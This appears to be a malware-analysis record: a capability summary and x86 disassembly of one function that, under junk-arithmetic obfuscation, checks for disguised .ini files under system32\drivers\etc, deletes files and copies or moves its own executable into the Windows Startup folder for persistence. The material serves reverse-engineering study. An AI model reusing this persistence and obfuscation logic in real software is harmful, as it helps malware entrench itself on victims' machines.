Function at 0x40e1f0
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x308
mov eax, dword [0x45e640]
xor eax, esp
mov dword [esp + 0x304], eax
push ebx
push esi
mov esi, dword [0x45cccc]
push edi
mov edi, dword [0x45cce4]
mov eax, 0x44fc3a35
imul edi
mov eax, dword [0x45ccd0]
lea ebx, [eax + esi]
sar edx, 0xb
imul ebx, ebx, 0x1ef5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5c9900d1
imul edi
sar edx, 0xb
mov edi, edx
add ebx, edx
mov eax, 0xc09370e3
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
mov esi, dword [0x45ccd8]
imul edx, edx, 0x1259
shr edi, 0x1f
add edi, ebx
sub edi, eax
mov eax, dword [0x45cce0]
imul eax, eax, 0xade
add edx, ecx
add edx, edi
add eax, edx
mov edx, dword [0x45ccc8]
mov dword [0x45ccdc], eax
mov eax, dword [0x45ccd4]
lea edi, [eax + edx]
mov eax, 0x4227fdad
imul edi, edi, 0xa08
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x5c9900d1
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub edi, eax
mov eax, edx
imul eax, eax, 0x161e
add edi, eax
mov eax, 0x5df55b35
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, ecx
push 0
push str.C:_WINDoWS_system32driverseTc_seRvicE1.ini
mov dword [0x45cce4], eax
call fcn.004303ed
add esp, 8
cmp eax, 0xffffffff
je 0x40e7cd
push 0
push str.C:_WINDoWS_system32driverseTc_sErvIce2.ini
call fcn.004303ed
add esp, 8
cmp eax, 0xffffffff
je 0x40e7cd
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45cce4]
mov eax, 0x53f407b5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc09370e3
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
sub edi, eax
imul edx, edx, 0x1481
mov eax, dword [0x45ccc8]
imul eax, eax, 0x1259
sub edi, edx
add edi, eax
mov eax, 0x6f9f33f1
imul ecx
sar edx, 0xb
mov esi, edx
add edi, edx
mov eax, 0x2f1d432d
imul ecx
shr esi, 0x1f
sar edx, 9
add esi, edi
mov ecx, edx
add esi, edx
push 0x104
lea edx, [esp + 0x214]
shr ecx, 0x1f
push edx
add ecx, esi
push 0
mov dword [0x45ccc8], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x210]
push 0x5c
push eax
call fcn.00430e50
push str..exe
lea ecx, [esp + 0x21c]
push ecx
lea edx, [esp + 0x20]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.00430051
mov edx, dword [0x45ccdc]
mov ecx, dword [0x45ccd8]
mov eax, 0x44fc3a35
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
mov edi, ecx
imul edx, edx, 0x1545
imul edi, edi, 0x1db0
sub edi, eax
add edi, edx
mov eax, 0x6f9f33f1
imul ecx
mov eax, dword [0x45cce8]
imul eax, eax, 0xa74
sar edx, 0xb
mov ebx, edx
shr ebx, 0x1f
add edi, edx
add ebx, edi
add esp, 0x18
add ebx, eax
mov ecx, dword [0x45ccd0]
mov eax, 0x5df55b35
imul ecx
mov eax, dword [0x45cce4]
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 0
sub ebx, ecx
push 0x18
lea edx, [esp + 0x118]
sub ebx, eax
push edx
sub ebx, 0x1259
push 0
mov dword [0x45ccd0], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e476
push ebp
sub eax, ecx
push esi
lea eax, [esp + eax + 0x118]
push 0x44d20c
push eax
call fcn.00430051
mov esi, dword [0x45cce8]
mov edi, dword [0x45ccd4]
mov eax, 0x53f407b5
imul esi
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xa366ff2f
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, ecx
mov ecx, dword [0x45ccc8]
imul ecx, ecx, 0x161e
mov edx, esi
imul edx, edx, 0x1259
add ebx, ecx
sub ebx, edx
mov eax, 0x61f60d03
imul esi
sar edx, 0xa
add ebx, edx
mov ebp, edx
shr ebp, 0x1f
add ebp, ebx
mov ebx, dword [0x45cce0]
mov eax, 0x6614bc37
imul ebx
imul ebx, ebx, 0xa08
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ebp, edx
add ecx, ebp
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add ecx, ebx
add esp, 0xc
mov dword [0x45ccd8], ecx
xor ebx, ebx
jmp 0x40e540
mov ecx, dword [0x45ccd8]
mov edi, dword [0x45ccd4]
mov esi, dword [0x45cce8]
jmp 0x40e540
mov eax, dword [0x45ccd0]
imul ecx, ecx, 0xade
imul edi, edi, 0xa74
add eax, esi
imul eax, eax, 0xae6
mov dword [esp + 0x10], eax
mov eax, 0x4227fdad
imul esi
mov eax, dword [esp + 0x10]
sar edx, 0xb
add eax, edx
mov esi, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1259
shr esi, 0x1f
add esi, eax
sub esi, edx
add esi, ecx
mov ecx, dword [0x45cccc]
mov eax, 0x5df55b35
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
lea ecx, [esp + 0x14]
push 0
sub esi, edi
push ecx
mov dword [0x45cce0], esi
call fcn.004303ed
add esp, 8
cmp eax, 0xffffffff
je 0x40e5ca
lea edx, [esp + 0x14]
push edx
call ebp
inc ebx
cmp ebx, 0x64
jl 0x40e524
mov ecx, dword [0x45ccd0]
mov eax, dword [0x45ccd8]
mov edi, dword [0x45ccc8]
lea esi, [eax + ecx]
imul ecx, ecx, 0x161e
mov eax, 0x5c9900d1
imul esi, esi, 0x1865
imul edi
sar edx, 0xb
mov ebx, edx
shr ebx, 0x1f
add esi, edx
add ebx, esi
mov esi, dword [0x45cce4]
sub ebx, ecx
mov eax, 0x2f1d432d
imul dword [str._r_____r____]
mov ecx, esi
imul ecx, ecx, 0x1259
sar edx, 9
sub ebx, ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x6614bc37
imul edi
sar edx, 0xa
mov ecx, edx
add ebx, edx
shr ecx, 0x1f
add ecx, ebx
mov ebx, dword [esp + 0x31c]
test ebx, ebx
mov dword [0x45cce8], ecx
je 0x40e653
cmp ebx, 2
jne 0x40e730
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x118]
push ecx
lea edx, [esp + 0x1c]
push edx
call edi
test eax, eax
jne 0x40e724
mov ecx, dword [0x45cccc]
mov esi, dword [0x45ccd4]
mov eax, 0x4227fdad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xbb03c5cb
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, eax
mov eax, 0x44fc3a35
imul ecx
imul ecx, ecx, 0x1865
sar edx, 0xb
sub ebp, ebx
mov ebx, edx
add ebp, edx
mov eax, 0x5c9900d1
imul esi
mov eax, dword [0x45cce8]
shr ebx, 0x1f
imul eax, eax, 0xa74
sar edx, 0xb
add ebx, ebp
add ebx, ecx
mov ecx, edx
add ebx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1545
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
add ecx, eax
mov dword [str._r_____r____], ecx
push 6
lea ecx, [esp + 0x118]
push ecx
lea edx, [esp + 0x1c]
push edx
call edi
mov eax, 0xfffffffe
pop ebp
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x304]
xor ecx, esp
call fcn.0042fe7d
add esp, 0x308
ret
mov esi, dword [0x45cce4]
mov ecx, dword [0x45cce8]
mov edi, dword [0x45ccd4]
imul esi, esi, 0x1259
imul ecx, ecx, 0xa74
mov ebp, dword [0x45cce0]
mov eax, 0x5c9900d1
imul ebp, ebp, 0x1865
imul edi
sar edx, 0xb
add ebp, edx
mov eax, edx
shr eax, 0x1f
add eax, ebp
mov ebp, eax
mov eax, 0xc09370e3
imul edi
add edx, edi
sar edx, 0xc
mov edi, edx
shr edi, 0x1f
add ebp, edx
add edi, ebp
add edi, esi
sub edi, ecx
mov ecx, dword [0x45cccc]
mov eax, 0x6614bc37
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [str._r_____r____]
add eax, edi
sub eax, edx
add eax, 0xae6
cmp ebx, 1
mov dword [0x45cccc], eax
je 0x40e7b1
cmp ebx, 2
jne 0x40e7c6
push 0
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40e70b
mov ecx, dword [esp + 0x310]
pop edi
pop esi
pop ebx
xor ecx, esp
or eax, 0xffffffff
call fcn.0042fe7d
add esp, 0x308
ret